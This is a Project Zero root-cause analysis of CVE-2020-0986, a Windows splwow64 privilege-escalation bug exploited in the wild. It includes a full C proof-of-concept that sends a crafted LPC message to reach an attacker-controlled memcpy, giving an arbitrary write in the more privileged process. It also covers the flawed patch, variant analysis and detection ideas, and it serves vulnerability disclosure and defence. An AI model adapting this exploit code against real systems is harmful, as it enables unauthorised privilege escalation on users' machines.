Maddie Stone, Project Zero (Originally posted on Project Zero blog 2020-09-02)

The Basics

Disclosure or Patch Date:

  • 19 May 2020 (ZDI Disclosure)
  • 9 June 2020 (Microsoft Advisory/Patch)
  • 12 Aug 2020 (Kaspersky blog post about in-the-wild exploitation)

Product: Microsoft Windows

Advisory:

Affected Versions: For Windows 10 1909/1903, KB4556799 and previous

First Patched Version:

  • For Windows 10 1909/1903, KB4560960
  • For Windows 10 2004, KB4557957 (No previous releases of 2004).

Issue/Bug Report: N/A

Patch CL: N/A

Bug-Introducing CL: N/A

Reporter(s):

  • Boris Larin (@oct0xor) of Kaspersky Lab
  • Anonymous working with Trend Micro's Zero Day Initiative
  • Andy

The Code

Proof-of-concept:

Proof-of-Concept by Boris Larin (oct0xor) of Kaspersky Lab (shared with permission), minimized and commented by Maddie Stone:


#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";

typedef struct _PORT_VIEW
{
        UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;

PORT_VIEW ClientView;

typedef struct _PORT_MESSAGE_HEADER {
        USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;

typedef struct _PORT_MESSAGE {
        PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;

PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;

NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle
        );

NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength
        );

NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle
        );

NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength
        );

NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply
        );


int Init()
{
        HMODULE ntdll = GetModuleHandleA("ntdll");

        printf("ntdll = 0x%llX\n", ntdll);

        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
        if (NtOpenProcessToken == NULL)
        {
                printf("Failed to get NtOpenProcessToken\n");
                return 0;
        }

        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
        if (ZwQueryInformationToken == NULL)
        {
                printf("Failed to get ZwQueryInformationToken\n");
                return 0;
        }

        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
        if (NtCreateSection == NULL)
        {
                printf("Failed to get NtCreateSection\n");
                return 0;
        }

        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
        if (ZwSecureConnectPort == NULL)
        {
                printf("Failed to get ZwSecureConnectPort\n");
                return 0;
        }

        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
        if (NtRequestWaitReplyPort == NULL)
        {
                printf("Failed to get NtRequestWaitReplyPort\n");
                return 0;
        }

        return 1;
}

int GetPortName(PUNICODE_STRING DestinationString)
{
        void* tokenHandle;
        DWORD sessionId;
        ULONG length;

        int tokenInformation[16];
        WCHAR dst[256];

        memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

        memset(dst, 0, sizeof(dst));

        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
        {
                return 0;
        }

        wsprintfW(
                dst,
                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
                sessionId,
                tokenInformation[2],
                tokenInformation[3],
                0x2000);
        printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst);

        return 1;
}

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0;
        union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000;

        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
                printf("failed on NtCreateSection\n");
                return 0;
        }
        if (sectionHandle)
        {
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000;
                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
                if(retval){
                        printf("Failed on ZwSecureConnectPort: 0x%x\n", retval);
                        return 0;
                }
        }

        return portHandle;
}

PVOID PrepareMessage()
{
        memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;

        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));

        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 2nd arg to FindPrinterHandle
        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
        return ClientView.ViewBase;
}

void DebugWrite()
{
        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}

bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
        memcpy(ClientView.ViewBase + 0x810, buf, size);

        DebugWrite();

        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;

}

int main()
{
        printf("Start\n");
        Init();
        printf("Init done\n");

        CHAR Path[0x100];
        
        /* Starts splwow64 by executing CreateDC.exe. CreateDC.exe is an x86 executable that simply calls 
CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", 0, 0);*/
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe");

        if (!(PathFileExistsA(Path)))
        {
                printf("CreateDC.exe does not exist\n");
                return 0;
        }
        WinExec(Path, 0);
        
        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
        
        printf("Get port name\n");

        UNICODE_STRING portName;
        if (!GetPortName(&portName))
        {
                printf("Failed to get port name\n");
                return 0;
        }

        printf("Create port. \n");

        HANDLE portHandle = CreatePortSharedBuffer(&portName);
        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
        {
                printf("portHandle = 0xllX && ClientView.ViewBase = 0xllX && ClientView.ViewRemoteBase = 0xllX\n", portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase);
                return 0;
        }

        printf("Prepare objects\n");

        PrepareMessage();

        printf("Get offset\n");

        printf("Press [Enter] to continue . . .");
        fflush(stdout);
        getchar();
        UINT64 value = 0;
        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
        {
                printf("WriteData failed\n");
                return 0;
        }

        printf("Done\n");

        return 0;
}

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? No

The Vulnerability

Bug class: Untrusted pointer dereference

Vulnerability details:

The vulnerability is almost exactly the same as CVE-2019-0880 [detailed technical analysis. Just like CVE-2019-0880, this vulnerability allows the attacker to call memcpy with arbitrary parameters in the splwow64 privileged address space. The arbitrary parameters are sent in an LPC message to splwow64.

In this case, the vulnerable message type is 0x6D, which is the call to DocumentEvent. After DocumentEvent is called from GdiPrinterThunk, a call to memcpy can occur as long as you craft specific fields in your LPC message to the right values. This memcpy call is at gdi32full!GdiPrinterThunk+0x1E85A.

The message that is sent via LPC is 0x20 bytes long. This 0x20 data block follows a header that is 0x28 bytes long. The data block includes the following values:

Offset Value
0x00 Length of msg_send: 0x88
0x08 Ptr to msg_send
0x10 Length of msg_reply: 0x10
0x18 Ptr to msg_reply

The buffers for msg_send and msg_reply need to be created in memory that’s shared by the calling process & splwow64. In the POC below, this is created using \_PORT_VIEW struct.

The pointers to msg_send and msg_reply are passed as the two arguments to GDIPrinterThunk. In order to trigger the vulnerable memcpy, the contents of msg_send must be:

Offset Value
0x00 0x00
0x04 DWORD of msg type: 0x6D
0x38 iEsc argument to DocumentEvent (should be 0x04 or 0x01)
0x50 Pointer to pointer for source of memcpy
0x58 Destination of memcpy

The size of the memcpy is at [src of memcpy + 0x40].

With RCE in the less privileged Internet Explorer renderer (LOW integrity), one can send this LPC message and receive arbitrary write primitive in splwow64’s more privileged (MEDIUM integrity) address space.

Patch analysis:

The patch for this vulnerability was incorrect. The patch simply changed the raw pointers to offsets. The attacker could still control all 3 arguments to the memcpy, they just now used offsets instead of pointers in the LPC message. Full details of the vulnerability are availble in P0 2096. This fix was assigned CVE-2020-17008/CVE-2021-1648.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.): Variant analysis.

This bug is very shallow and an extremely trivial variant of the previous vulnerability that was exploited in the wild, CVE-2019-0880 detailed write-up. Therefore, it’d be pretty easy to find this vulnerability by auditing the GdiPrinterThunk function.

(Historical/present/future) context of bug:

This vulnerability was chained with CVE-2020-1380. CVE-2020-1380 is the Remote Code Execution (RCE) vulnerability and CVE-2020-0986 is the Elevation of Privilege (EoP).

ZDI publicly published a limited advisory on 19 May 2020 about the existence of this vulnerability after their 120-day deadline expired with no patch. Kaspersky reported that they saw this vulnerability exploited in-the-wild on 20 May 2020. For Project Zero’s 0day in-the-wild tracking spreadsheet, we do not include any 0-days that were fully disclosed prior to exploitation. In this case we are still including this vulnerability because the details in ZDI’s bulletin were limited and Microsoft also did not consider the vulnerability publicly disclosed or exploited.

Microsoft’s advisory did not list this vulnerability as Exploited. After asking Microsoft, they said that the 2 reporters who had reported this vulnerability to them had not told them anything about in-the-wild exploitation and they have a policy of not updating the “exploited” flag in advisories if they learn about exploitation after the advisory has been published.

CVE-2020-0986 is a trivial variant of CVE-2019-0880, which was exploited in-the-wild in July 2019.

The Exploit

Is this exploit known? N/A

Exploit method:

We have not seen a copy of the exploit.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

  • Statically audit GDIPrinterThunk for other untrusted pointer dereferences
  • Fuzz LPC messages to legacy components of Windows, like splwow64

Found variants:

  • P0 2096: Not really a variant, but instead identifying that the original fix was bad. (CVE-2020-17008/CVE-2021-1648)

Structural improvements

  • Verifying any pointers that are passed in a LPC message in ProcessRequest prior to passing to GdiPrinterThunk.
  • The patch for this vulnerability includes Microsoft switching the entries in the LPC messages from pointers to offsets. This will add restrictions to the arbitrary write primitive, but didn't prevent exploitation.
  • If Internet Explorer is not able to be deprecated, at least show a pop-up message whenever IE is accessing a process that is permitted by Internet Explorer Elevation Policy.

0-day detection methods

  • If the IE renderer is trying to connect & send messages to splwow64
  • Creating shared memory/buffer with splwow64

Other References